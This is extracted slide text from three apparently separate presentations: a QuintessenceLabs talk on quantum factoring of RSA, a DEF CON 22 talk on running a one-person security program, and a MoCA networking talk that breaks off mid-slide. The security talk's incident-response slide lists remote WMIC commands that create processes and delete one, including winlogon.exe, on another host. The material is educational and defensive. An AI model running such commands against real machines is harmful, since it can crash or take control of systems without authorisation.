𝑚 < 𝑛 (padding scheme) – Ciphertext 𝑐 = 𝑚ⅇ (mod n) • Alice can now decrypt this ciphertext c by using private key d – 𝑐𝑑 = 𝑚ⅇ 𝑑 = 𝑚 (mod n) – Given m, Alice can recover M by reversing the padding scheme RSA encryption – How it works 8 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Given a public key (n,e), how can one “crack” the private key d? – From n, find prime numbers p,q such that 𝑛 = 𝑝𝑞 – Calculate 𝜆 𝑛 = lcm(𝜆 𝑝 , 𝜆 𝑞 ) – Private key 𝑑 = ⅇ−1 (mod 𝜆 𝑛 ) • So all I have to do is to find p,q such that 𝑛 = 𝑝𝑞, right? How to retrieve the private key from a public key? 9 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • No algorithm has been published that can factor all integers in polynomial time (e.g. 𝑂 𝑛𝑘 for some constant k) • Most algorithms are of exponential complexity – Best algorithm for large n is GNFS (General Number Field Sieve) which is sub- exponential, but still massively bigger than polynomial • Shor’s algorithm can solve this with only polynomial complexity – The good news is that Shor’s algorithm can’t be implemented on a classical computer • That difference is incomprehensible. How to factor an integer? 10 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Task: factor 2048-bit number • Best classical Algorithm (GNFS Algorithm) – ~ 1034 steps – On classical ThZ Computer (with a trillion operations per second): ~317 trillion years • Best quantum algorithm (Shor’s Algorithm) – ~ 107 steps – On a quantum MhZ computer (with a million operations per second): ~10 seconds – Needs 4099 logical qubits Exponential vs polynomial complexity 11 So what are these quantum computers? ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Gate Based Quantum Computing (Universal Quantum Computing) – IBM, Intel, Microsoft, Alibaba, … • Adiabatic Quantum Computing – E.g. D-Wave Two main types 13 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Gate Based Quantum Computing (Universal Quantum Computing) – Start with a known quantum state (input) – Apply a sequence of quantum gates (1 or 2 qubit logic gates) – Close to classical computing (Input → Compute → Output) • Adiabatic Quantum Computing (e.g. D-Wave) – Encode solutions to physical systems – Physical systems tend to be in the lowest energy state (called ground state) – Define a Hamiltonian 𝐻f with a ground state that is the solution to a computational problem – Evolve system slowly and measure to obtain answer Two main types 14 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Both approaches can be used to solve the factorization problem • Universal Gate Quantum Computer – Shor’s algorithm (1984) • Quantum Annealing (since 2002) – Need to articulate factorization problem as an optimization problem (Hamiltonian 𝐻f) – The Adiabatic theorem guarantees that the ground state at the end is the optimal solution if the transition from 𝐻0 to 𝐻f is performed slowly enough Quantum approaches to solve factorization problem 15 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • QC uses quantum-mechanical phenomena such as superposition and entanglement to perform computation • Basic building block is a qubit – the quantum version of a bit – A classical bit is either 0 or 1 – A qubit is a two-state quantum-mechanical system with two possible outcomes for a measurement (0 or 1) based on probabilities • Quantum Computers can only run probabilistic algorithms Quantum Computing Introduction 16 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • A qubit is represented by two complex numbers 𝜑 = 𝛼 0 + 𝛽 1 , 𝛼, 𝛽 ∈ ℂ – 0 , 1 represent the orthogonal qubits with 0,1 as measurement-outcome – 𝛼, 𝛽 are probability amplitudes. – Measurement in the standard basis , the probability of outcome |0⟩ with value 0 is |𝛼|2, the probability of outcome |1⟩ with value 1 is |𝛽|2 • Each measurement is a probability, typically resulting in the need to execute the same program multiple times Quantum Computing Introduction - Superposition 17 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Quantum Entanglement is a property between two or more qubits that allows these qubits to express higher correlation than it is possible in classical systems • Simple Example: Bell State of two qubits – Φ = 1 2 |00⟩ + |11⟩ – Equal probabilities of measuring outcome of 00 𝑜𝑟 |11⟩ as 1 2 2 = 1 2 – Imagine now you take these two qubits and give one to Alice and one to Bob • If Alice measures her qubit to be |0⟩, Bob must now get exactly the same outcome with perfect correlation Quantum Computing Introduction - Entanglement 18 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Two classical bits can be in four possible states (00, 01, 10, or 11), but only one of them at any time. – This limits the computer to processing one input at a time. • In the quantum case, two qubits can also represent the exact same four states (00, 01, 10, or 11). – The difference is, because of superposition, the qubits can represent all four at the same time. • If you have n qubits, you can simultaneously represent 2𝑛 states Quantum Computing Introduction - Exponential large size 19 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • We now have everything we need to have to look at Shor’s algorithm in more detail – Qubit – Superposition – Entanglement – Exponential large size of the state space of a quantum mechanical system Quantum Computer Introduction 101 20 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • It is possible to factor 𝑁 = 𝑝𝑞, if you can find the period with respect to r of the sequence 𝑥𝑟 (mod N) – This isn’t useful for classical computers because if N is large, the period is exponentially long – However a quantum computer can process an exponential amount of data that is in superposition – So they can put the entire sequence into their memory in superposition – Quantum computers can now do a quantum fourier transform, which lets them find the period of the sequence Shor algorithm – main idea 21 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • The number theory that underlines Shor's algorithm relates to periodic modulo sequences – Let’s look at a number sequence 1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024, … – Now let's look at the same sequence 'modulo 15', that is, the remainder after fifteen divides each of these powers of two: 1, 2, 4, 8, 1, 2, 4, 8, 1, 2, 4, 8, 1, … • Factorization of N can be reduced to the problem of finding the period of an integer 0 < 𝑥 < 𝑁 depends on the following result from number theory – The function 𝐹 𝑎 = 𝑥𝑎 mod N is a periodic function where x is an integer coprime to N and a >= 0 Shor’s algorithm: turn factoring problem into period finding 22 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Three phases – Turn factoring problem into period finding • computed on classical computer – Find the period using Quantum Fourier Transform • This is the part responsible for the quantum speedup – Use the period to find the factors Shor’s algorithm 23 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Since F(a) is periodic (and 𝑥0 mod N = 1) with period r, that means 𝑥r mod N = 1 and thus r is just the first non-zero power where 𝑥r = 1 (mod N) • This means – 𝑥𝑟 = 1 mod N – 𝑥𝑟 = 𝑥 𝑟 2 2 = 1 mod N – 𝑥 𝑟 2 2 − 1 = 0 mod N – If r is an even number: 𝑥 𝑟 2 + 1 𝑥 𝑟 2 − 1 = 0 mod N Shor’s algorithm: turn factoring problem into period finding 24 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • So 𝑥 𝑟 2 + 1 𝑥 𝑟 2 − 1 is an integer multiple of N, the number to be factored • So for as long as 𝑥 𝑟 2 + 1 or 𝑥 𝑟 2 − 1 is not a multiple of N, then at least one of them must have a nontrivial factor in common with N • So computing gcd( 𝑥 𝑟 2 − 1 , 𝑁) and gcd( 𝑥 𝑟 2 + 1 , 𝑁) will obtain a factor for N Shor’s algorithm: turn factoring problem into period finding 25 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised Shor’s algorithm: turn factoring problem into period finding 26 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Initialize Qubits into an equal superposition • Compute modular exponentiation • Perform Quantum Fourier Transform – Amplitude of the correct result will be amplified • Measure the system to obtain the result r Quantum Period Finding (highly simplified) 27 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised – Pick a random number 𝑎 < 𝑁 – Compute gcd 𝑎, 𝑁 • If gcd 𝑎, 𝑁 ≠ 1, this number is a non-trivial factor and we are done – Use quantum-period-finding routine to find r, which denotes the period for 𝑓 𝑥 = 𝑎𝑥 mod 𝑁 • If r is odd, go back to step 1 • If 𝑎 𝑟 2 = −1 mod 𝑁 , go back to step 1 – At least one factor of gcd 𝑎 𝑟 2 + 1 , 𝑁 and gcd 𝑎 𝑟 2 − 1 , 𝑁 is a non-trivial factor for N and we are done ☺ Shor’s algorithm procedure 28 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • We “randomly” choose: a=7 • We calculate period: r=4 • We have gcd 72 ± 1 , 15 = gcd 49 ± 1 , 15 – gcd 48, 15 = 3 – gcd 50, 15 = 5 • 15 = 3 × 5 Shor’s algorithm procedure: Example (N=15) 29 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • To calculate r=4 with the Quantum Fourier Transform, we use Qiskit (www.qiskit.org) an open-source quantum computing framework – That allows us to use a Quantum Simulator or a real Quantum Computing Hardware (e.g. IBM’s Q-Experience) • Good example of the QFT for Shor is here: https://github.com/Qiskit/qiskit- tutorials/blob/ec7c630a15d81583876205a9bee67858fc504911/community/a lgorithms/shor_algorithm.ipynb • Basic approach to many Quantum algorithms is Amplitude Amplification Shor’s algorithm procedure: Example (N=15) 30 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • At the start, system will be in a superposition where all results have an equal probability Shor’s algorithm procedure: Example (N=15) 31 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • At the start, system will be in a superposition where all results have an equal probability • After execution, the results have elevated probability – r = 0 is ignored as a trivial probability, so the result is r = 4 – Executed on the simulator Shor’s algorithm procedure: Example (N=15) 32 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • If we execute this on ibmqx4 (a 5-qubit Quantum Processor from IBM), the results are • r=4 still has the highest probability, but the result contains much more noise Shor’s algorithm procedure: Example (N=15) 33 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Qiskit Aqua (http://www.qiskit.org/aqua) contains libraries for quantum algorithms and makes running Shor (and other algorithms) dead easy Shor’s algorithm procedure: Aqua 34 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Qiskit Aqua (http://www.qiskit.org/aqua) contains libraries for quantum algorithms and makes running Shor (and other algorithms) dead easy Shor’s algorithm procedure: Aqua 35 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • So what’s the problem? – To factor RSA-2048, Shor’s algorithm needs 4099 qubits and 100 million gates • Qubits and gates need to be fully error-free for a long time • Runs in polynomial time! • Shor’s algorithm was never meant to be run on a Quantum Computer. – In 1984 when Peter Shor came up with it, Quantum Computers were a fantasy – Even today, there are no perfect (logical) qubits • The quantity of qubits and the noise level are way too high to run Shor’s algorithm directly Shor’s algorithm in practice 36 So let’s look at some of the research how Shor’s algorithm could be run realistically ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • In 2012, Fowler et al presented a way to implement Shor using ‘surface codes’ approach, which are basically a two-dimensional array of physical qubits. • Surface codes allow quantum computers to operate successfully under local errors • However higher tolerance to errors involve large numbers of qubits • To factor a 2048-bit RSA integer with a gate error-rate of 0.1%, Fowler et al need around 1,000 million qubits Fowler et al, 2012 38 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • “Only” 230m qubits are needed to factor a 2048-bit RSA integer – Estimate based on various optimizations in the physical connectivity of the qubits and the distillation strategy • Gheorghiu can reduce this to 170m qubits in 2019 O’Gorman et al 2017 39 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • The biggest contribution came from Gidney, Ekera in 2019 where they were able to estimate the qubits needed to factor a 2048-bit RSA integer to “just” 20m – They combined techniques from Griths-Niu 1996, Zalka 2006, Fowler 2012, Ekera-Hastad 2017, Ekera 2017, Ekera 2018, Gidney-Fowler 2019, Gidney 2019 • Let’s look at this research in a bit more detail… Gidney, Ekera, 2019 40 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • They were able to do this by – Transforming the original factoring problem 𝑁 = 𝑝𝑞 into a short discreet logarithm problem • Both the classical and the quantum part is similar to Shor, however the period finding has a reduced exponent length – translates into an overall reduction in the number of multiplications needed to perform on the quantum computer. – Heavy optimizations on various fronts • Reduction of the number of multiplications, reduction of the cost of the multiplication • Clever post processing which recovers d (= p+q mod r) in 99% of the cases, which means the algorithm mostly only need to be run once on a Quantum Computer!!! Gidney, Ekera, 2019 41 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Short Discreet Algorithm to factor 𝑁 = 𝑝𝑞 – First 𝑦 = 𝑔 𝑁+1 is computed classically, where 𝑔 is randomly selected from ℤ𝑁 ∗ and of unknown order 𝑟 – Then 𝑑 = log𝑔 𝑦 = 𝑝 + 𝑞 (mod r) is computed quantumly • For large RSA integers, the order 𝑟 > 𝑝 + 𝑞 with overwhelming probability – Hence 𝑑 = 𝑝 + 𝑞 is true. – With 𝑁 = 𝑝𝑞 & 𝑑 = 𝑝 + 𝑞 (where N and 𝑑 are both known), it is trivial to recover 𝑝 and q as the roots of the quadratic equation 𝑝2 − d𝑝 + 𝑁 = 0 Gidney, Ekera, 2019 42 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Quantum Part is similar to Shor, except – There are two exponents 𝑒1, 𝑒2 of lengths 2𝑚 and 𝑚 qubits respectively, for 𝑚 a positive integer such that 𝑝 + 𝑞 < 2𝑚 – Period finding is performed against the function 𝑓 𝑒1, 𝑒2 = 𝑔𝑒1𝑦𝑒2 rather than 𝑓 ⅇ = 𝑔ⅇ – The total exponent length is 𝑛𝑒 = 3𝑚 = 1.5𝑛 + 𝑂 1 compared to 2𝑛 qubits for Shor – This reduction in exponent length will result in the reduction in overall multiplications needed Gidney, Ekera, 2019 43 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Using these optimizations, they’ve been able to improve on Fowler and Gheorgiu by over 100x • We went from 1bn qubits to 20m in the space of 7 years • The next set of optimization will be incredibly exciting Gidney, Ekera, 2019 cont’d 44 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised Gidney, Ekera, 2019: Factoring n-bit RSA integer overview 45 Quantum Annealing ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Quantum Annealing is the process of finding a global minimum of a given objective function. • A quantum computer codifies the optimization problem into a physical system by constructing a Hamiltonian • The optimal solution to the optimization problem corresponds with the minimum energy state of the system. Quantum Annealing 47 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • The space of energy states resembles a landscape of formed by mountains and valleys • The solution corresponds to the lowest valley, but how do we find the lowest one? • Classical Solution – Tries to solve this problem by “climbing” the higher energy solutions by increasing the energy (temperature) and letting the system cool down gradually to find the path to the minimum – This solution can easily get stuck in a local minima. Quantum Annealing 48 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • In QA, we start in a ground state of some well-known physical system which is easy to prepare (𝐻0). • Then we evolve adiabatically (very slowly) the Hamiltonian of this system until it transforms into the problem Hamiltonian 𝐻1 Quantum Annealing 49 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • 𝐻 = (1 − 𝑠)𝐻0 + 𝑠𝐻1 – Initially we compute 𝑠 = 0, so 𝐻 = 𝐻0 • Then we increase s and compute again the ground state of 𝐻 • We repeat this process until s=1 and therefore 𝐻 = 𝐻1 • The adiabatic theorem guarantees that the ground state at the end of the computation is the optimal solution. Quantum Annealing 50 s=0 s=1 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised We need to formulate an optimization problem 51 • First fundamental research was from Burges, 2002, “Factoring as Optimization”, Microsoft Research, https://www.microsoft.com/en- us/research/publication/factoring-as-optimization/ • The idea is simple: We are looking for 𝑝, 𝑞 so that 𝑁 = 𝑝𝑞 • We “just” need to write this as an optimization problem ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised We need to formulate an optimization problem 52 • 𝑁 = 𝑝𝑞 • Binary representation 𝑝 = 1 + ෌𝑖=1..𝑠𝑝 2𝑖𝑃𝑖, 𝑞 = 1 + ෌𝑖=1..𝑠𝑞 2𝑖𝑄𝑖 – 𝑃𝑖, 𝑄𝑖 is the i-th bit for p,q, – remember that in binary all prime numbers begin and end with a 1 • We can define a cost function (to be minimized) – 𝑓 𝑃1, 𝑃2, … , 𝑃𝑠𝑝, 𝑄1, 𝑄2, … , 𝑄𝑠𝑞 = 𝑁 − 𝑝𝑞 2 – If I find 𝑃𝑖, 𝑄𝑖 so that 𝑓 … = 0, then N = 𝑝𝑞 and we are done ☺ – This is a QUBO, which we can run on a Quantum Annealer (D-Wave) ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised We need to formulate an optimization problem 53 • Example: 𝑁 = 15 = 5 × 3 – 𝑝 = 𝑥11 = 2𝑥1 + 1 – q = 𝑥2𝑥31 = 22𝑥2 + 2𝑥3 + 1 – 𝑓 𝑥1, 𝑥2, 𝑥3 = 𝑁 − 𝑝𝑞 2 = (15 − 2𝑥1 + 1 22𝑥2 + 2𝑥3 + 1 )2 – 𝑓 𝑥1, 𝑥2, 𝑥3 = 128 𝑥1 𝑥2 𝑥3 − 56𝑥1 𝑥2 − 48𝑥1 𝑥3 + 16𝑥2 𝑥3 − 52𝑥1 − 52𝑥2 − 96𝑥3 + 196 • Task: find 𝑥1, 𝑥21𝑥3 so that the positive 𝑓 𝑥1, 𝑥2, 𝑥3 is minimal (equal to 0) ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • This can be run on D-Wave’s Quantum Computer (https://github.com/dwavesystems/demos/tree/master/factoring) – Free open-source SDK (dwave-ovean-sdk) • Not realistic as factoring a 2𝑛 bit integer requires O(𝑛2) qubits Example N=15 (= 𝟓 × 𝟑) 54 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Remember all Quantum Algorithms are probabilistic 1 run 5 runs 50 runs Example: Factoring N=15 (= 𝟓 × 𝟑) on DWave’s QA 55 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • 𝑁 = 𝑝𝑞, using binary representation with bits z, x, y respectively • Binary multiplication shows (91 = 1011011) Multiplication Matrix for N=91 (= 𝟏𝟑 × 𝟕) 56 pq=91 Virtually all optimizations improve the multiplication table somehow e.g. rightmost bit means 𝑥3 not 𝑦3, so we can reduce this with 𝑥3 = 0 and 𝑦3 = 1 p q ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • So-called “Gröbner” bases are used to reduce the degree of the Hamiltonian • This pre-processing significantly reduces the size of the problem • Their algorithm can factor all bi-primes up to 2 × 105 using a D-Wave 2X Processor – Main limitation is the number of qubits available • Dwave 2X has 1,100 qubits, however 5,600 qubit system will be available in 2020 • They were able to factor 200,099 with 897 qubits Dridi, Alghassi refined this approach in 2016 57 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised Jiang et al provided a massive breakthrough in 2018 59 Submitted April 2018 https://arxiv.org/pdf/1804.02733.pdf ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • General idea is the same – Formulate the factorization problem to a QUBO problem that runs on an adiabatic Quantum Annealer (D-Wave) • Jiang et al proposed a new map which raised the record for a quantum factorized integer to 376,289 with just 94 qubits • They successfully ran their algorithm on D-Wave’s 2000Q Quantum Annealer Jiang et al 2018 60 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised Peng et al further optimized this in January 2019 61 http://engine.scichina.com/publisher/scp/journal/SCPMA/62/6/10.1007/s11433-018-9307-1?slug=fulltext ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • General idea is the same – Formulate the factorization problem to a QUBO problem that runs on an adiabatic Quantum Annealer (D-Wave) • Jiang et al could run a quantum integer factorization of 376,289 with just 94 qubits • Peng et al optimize the problem Hamiltonian of Jiang’s algorithm by reducing the number of qubits involved – They were able to factor 1,005,973 with just 89 qubits with an increased error tolerance as an added benefit. – This is now already a 20-bit number Peng et al 2019 62 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Approach is similar to Burgess’s multiplication table. Peng et al 2019 63 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Jiang optimized this by creating a modified multiplication table Peng et al 2019 64 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Jiang optimized this by creating a modified multiplication table • Peng et al removes the carry variables, thus achieving the reduction in complexity Peng et al 2019 65 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Three things were very interesting about their approach. – They were able to run this on currently available hardware • current quality of qubits is good enough to run this algorithm (unlike e.g. Shor’s algorithm). – To factor an RSA-768 number (current factorization record on classical computers), their algorithm would "only" need 147,454 qubits. • D-Wave have announced a quantum computer with 5,640 qubits already, so the more qubits there are, the more vulnerable RSA will become. – Their algorithm uses a combination of quantum and classical computation to maximise the results. • interestingly that's the same for Shor's algorithm and a common approach. Use classical computers for what they are good at and quantum computers for what they are good at Peng et al 2019 66 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised year qubits number 2016 897 200,099 2018 94 376,289 2019 89 1,005,973 Conclusion ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • While Shor’s algorithm gets most of the PR attention, QAC is currently a thousand-fold better than UQC approaches – Both from the hardware (D-Wave systems have much more qubits) – As well from the research (massive optimizations in the last 3 years alone) • QC’s are way too noisy to be a threat anytime soon, but – QC’s are getting better and better – Algorithms are being optimized heavily Conclusion 69 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Myth: Shor is currently the best-known algorithm to factor integers • Reality: QA based algorithms are outperforming Shor by a factor of a thousand • Myth: Shor’s algorithm will eventually break cryptography • Reality: Shor’s algorithm was never meant to be implemented. Derivations of it will be used to break cryptography • Myth: Today we have X qubits, Shor’s algorithm needs Y qubits. Based on the last few years of qubit growth, it’ll take Z years to break cryptography • Reality: It’ll be much quicker as you need to take the optimizations in the algorithms into account (e.g. from 1bn to 200m in just 7 years) Conclusion 70 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Myth: No need to worry as QC-based approaches are at least 10 years away • Reality: That may or may not help you – Example: Satoshi’s BTC coins have well-known public key. If I have a QC in 10 years time, these coins are mine and there is nothing anyone can do about it – We talk about over 1.1m BTC, which is currently around 12bn USD • Myth: QC may well be 20 years away and not 10 years • Reality: It all depends on breakthroughs in a) number of qubits, b) quality of qubits, c) quality of gate operation, d) optimizations in algorithms. – We’ve seen massive breakthroughs in all 4 areas over the last 6 years. It may be possible that we see none over the next 6 years, although I don’t think so. Conclusion 71 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Myth: We are safe because we use symmetric ciphers • Reality: computationally secure ciphers are only as good as the currently known algorithms Conclusion 72 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Go out and play around with the available resources • The feeling when you write your first quantum computer program and run it against a real QC hardware is just awesome :) • Lots of resources to get you started • Any questions: [email protected] • P.S. we are hiring :) Call to action 73 www.quintessencelabs.com Thank you!
pdf
One-Man Shop How to build a functional security program with limited resources DEF CON 22 One-Man Shop – Agenda • Caveats & Considerations • People and Processes • Network Architecture • System Design • Continuous Monitoring • External Validation • Compliance Security Program Hierarchy of Needs Compliance External Validation Continuous Monitoring Secure System Design Secure Network Architecture People and Processes Caveats and Considerations • This is going to take Organizational Support • Security still answers to “The Business” • Security cannot mature past the Organization • Be realistic. The sky isn’t falling. • Schedule time to stop firefighting • Just do the “right” thing Security Program Hierarchy of Needs Compliance External Validation Continuous Monitoring Secure System Design Secure Network Architecture People and Processes People and Processes • People – within the organization – Identify who they are and what roles they play • Negotiate sole ownership of systems and processes • even better - RACI Matrix – Most people take accountability seriously – Set and communicate expectations • “The Business” – owns the data – owns compliance – will get the fines and have charges pressed People and Processes • People – within IT – Recruit help. Make them aware of your plans – A good sysadmin or network person will make a good security liason. That may be you. People and Processes • "Security needs to be embedded." • "Security is (part of) a process" • Consistency through Automation... • and Security through Consistency • Here's where your help comes in... People and Processes • Identify and document processes – As simple as a check list – "Swim lanes" flow chart to show handoffs – Identify where security can fit in best • Doesn't necessarily require security staff review • Can be a checklist or guideline for department • Examples: – Purchasing Standardized Equipment – Server and Workstation Management – Inventory People and Processes • Speaking of Inventory: KNOW YOUR ENVIRONMENT – Identify devices on your network and what roles they play – Make network maps • This means physical and logical network – Endpoints and their uses. • Servers, Workstations, Phones, Printers, etc – Users and their business functions – Sensitive data and where business processes occur • Automate inventory and alert on differences Security Program Hierarchy of Needs Compliance External Validation Continuous Monitoring Secure System Design Secure Network Architecture People and Processes Secure Network Architecture 1. Divide network endpoints into groups based on roles, risks, exposures, trust level, etc. 2. Create network zones based on roles 3. Identify risks each zone faces 4. Deny all traffic by default 5. Place security controls at zone boundaries for traffic that can’t be denied Secure Network Architecture • *Deny all traffic by default • All traffic should pass through a control • Allow only what’s necessary for proper function • Deep Packet Inspect everything you can't deny • Log everything you can't inspect • exceptions should be approved and documented Secure Network Architecture • Possible Security Controls depending on risks – Firewalls – Protocol Enforcement – IDS/IPS – Netflow Information – Deep Packet Inspection – File Extraction and Analysis • Log all alerts centrally for easy correlation Security Program Hierarchy of Needs Compliance External Validation Continuous Monitoring Secure System Design Secure Network Architecture People and Processes Secure System Design for Servers • Systems should cross as few security zones as necessary • Traffic within a security zone should be as segmented as possible (Host Based Firewalls) • Centralized Logging • Backups! Virtualized? Take Snapshots • Automate Account Provisioning • Aim for Single Sign On – Disable Once, Disable Everywhere – Allows for centralized Auth and Access Control Secure System Design for Workstations • Design a standardized desktop image • Least Privilege. No local admins • Centralize workstation administration • Enable Automatic Updates – OS Killing patches are rare • AV is dead, but its still a layer of protection • EMET for additional defense • MAC filtering at switchports Security Program Hierarchy of Needs Compliance External Validation Continuous Monitoring Secure System Design Secure Network Architecture People and Processes Continuous Monitoring • Host Monitoring – Periodic IP/Port Scans – Periodic Vulnerability Scans – Automated Log Review • VPN Access by IP/Region • Dropped Packets sourced from DMZ • Event logs of privileged accounts • New users and group memberships – Netflow anomalies Continuous Monitoring • Forensics and Incident Response – Snort with ETPro ruleset for IDS – urlsnarf from the dsniff suite – tcpdump internal span ports for DNS traffic – execap for capturing windows binaries off the wire – Cuckoo Sandbox for analysis – Immunity’s El Jefe for process monitoring Continuous Monitoring • Forensics and Incident Response – If a user isn’t admin, process hiding is hard – Most malware contained to user’s profile – Use WMI for Remote Windows IR • wmic /node: x.x.x.x process get commandline • wmic /node: x.x.x.x process where name = “winlogon.exe“ delete • wmic /node: x.x.x.x process call create “process.exe” – Free / Open Source DFIR Tools • Mandiant Redline, FTK Imager, Autopsy Continuous Monitoring • Just when you think you’re bored… – Introduce a new monitoring tool. You’ll find new problems that need to be fixed. Get Bored Introduce New Monitoring Identify New Problems Fix Problems Security Program Hierarchy of Needs Compliance External Validation Continuous Monitoring Secure System Design Secure Network Architecture People and Processes External Validation • Consider an external auditor to review your environment • At least verify against others in your industry • Consider external penetration testing Security Program Hierarchy of Needs Compliance External Validation Continuous Monitoring Secure System Design Secure Network Architecture People and Processes Compliance • To be honest, It’s… – not worth talking about – shouldn’t be a driver – a byproduct of a good security program • Most auditors will accept a remediation plan, even if it takes multiple years • Slow progress is still progress Let’s compare to SANS Top 20 1. Device Inventory 11. Account Monitoring and Control 2. Software Inventory 12. Malware Defenses 3. Secure Hardware and Software Configs 13. Limitation of Network Ports, Protocols 4. Secure Network Device Config 14. Wireless Device Control 5. Boundary Defense 15. Data Loss Prevention 6. Security Audit Log Analysis 16. Secure Network Engineering 7. Application Software Security 17. Penetration Test and Red Team 8. Controlled use of Admin Privs 18. Incident Response Capability 9. “Need to Know” Data Access 19. Data Recovery Capability 10. Continuous Vulnerability Assessment 20. Security Skills Assessment and Training Questions? Centralize Standardize Simplify Automate Contact Information • Tim McGuffin • [email protected] • Updated slides available at http://tinyurl.com/one-man-shop
pdf
Raspberry)MoCA) A)recipe)for)compromise) Andrew Hunt George Mason University [email protected] Media over Coaxial Alliance •  8)–)12)large)companies) •  How)to)make)use)of)widely)deployed)coaxial)cabling)to)deliver) content?) –  Shielded) –  Lots)of)frequency)bandwidth) –  Carries)signal)500)feet) •  PHY/MAC)specificaLon) •  Creates)a)network)of)the)coaxial)bus) •  Delivers)guaranteed)bandwidths)at)certain)distances) What does MoCA look like? MoCA Operation: PHY •  PHY is the coaxial cable •  Frequencies & signaling) –  Orthogonal Frequency Division Multiplexing) –  WAN and LAN channel sets) MoCA Operation: MAC •  Media)Access)Control) –  Scheduled)frames)) –  Master)node)controller) –  Time)Division)MulLple)Access) –  Assured)speeds) PHY$Rate$) (Mbps)) Minimum$MAC$) Rate$(Mbps)) ≥275) 139.87) 250) 130.78) 225) 119.45) 200) 107.74) 175) 95.64) 150) 81.98) 125) 68.32) 100) 54.65) 75) 39.82) MoCA, definitely caffeinated •  Enables)‘triple)play’) •  Desired)by)ISPs) •  HDTV)requirements) •  Guaranteed)speeds) More prevalent than Starbucks •  Most)consumers)don’t)even)know)they)have)it) •  North)American)and)European)service)providers)already) deploy)it) •  In)other)words,)just)about)every)broadband)installaLon) –  FIOS) –  Cable/Xfinity) –  Dish/Satellite) –  DVR) –  STB) The Wall Wart •  OpLcal)cable)run)from)the)neighborhood)splicer)to)the)home) •  OpLcal)Network)Terminator)(ONT))installed)on)the)exterior)of) the)home) –  Bridges)the)fiber)to)coaxial)or)CAT5)cable) –  ISP)prefers)coaxial)!)MoCA) MoCA Inside •  AcLontec)Router) –  SPI)firewall) –  NAT)router) •  